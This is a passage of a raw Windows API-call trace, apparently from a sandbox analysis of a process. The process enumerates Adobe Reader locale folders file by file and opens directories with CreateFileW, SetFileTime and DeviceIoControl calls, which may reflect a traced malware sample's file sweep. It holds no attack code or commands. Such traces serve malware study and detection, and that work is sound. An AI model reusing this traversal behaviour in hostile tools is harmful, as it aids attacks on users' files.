| out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.SVE", cAlternateFileName="")) returned 1 [0082.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213e60 [0082.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1292f48 [0082.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.676] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.676] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SVE", cAlternateFileName="")) returned 1 [0082.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213e80 [0082.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293050 [0082.678] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.678] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.SVE", cAlternateFileName="")) returned 1 [0082.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.678] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213ea0 [0082.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293158 [0082.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.679] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SVE", cAlternateFileName="")) returned 1 [0082.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213ec0 [0082.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293260 [0082.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.681] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SVE", cAlternateFileName="")) returned 0 [0082.681] GetLastError () returned 0x12 [0082.681] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0082.681] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.681] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.681] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SVE", cAlternateFileName="")) returned 1 [0082.681] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.SVE", cAlternateFileName="")) returned 1 [0082.681] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.SVE", cAlternateFileName="")) returned 1 [0082.681] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f876820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x141800, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.SVE", cAlternateFileName="")) returned 1 [0082.682] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293368 [0082.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.683] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.683] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0082.683] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.683] NtClose (Handle=0x174) returned 0x0 [0082.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293368) returned 1 [0082.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293368 [0082.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293470 [0082.685] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.685] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.685] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293578 [0082.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213ee0 [0082.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293680 [0082.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.687] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1213f00 [0082.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1293788 [0082.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.688] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.688] GetLastError () returned 0x12 [0082.688] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 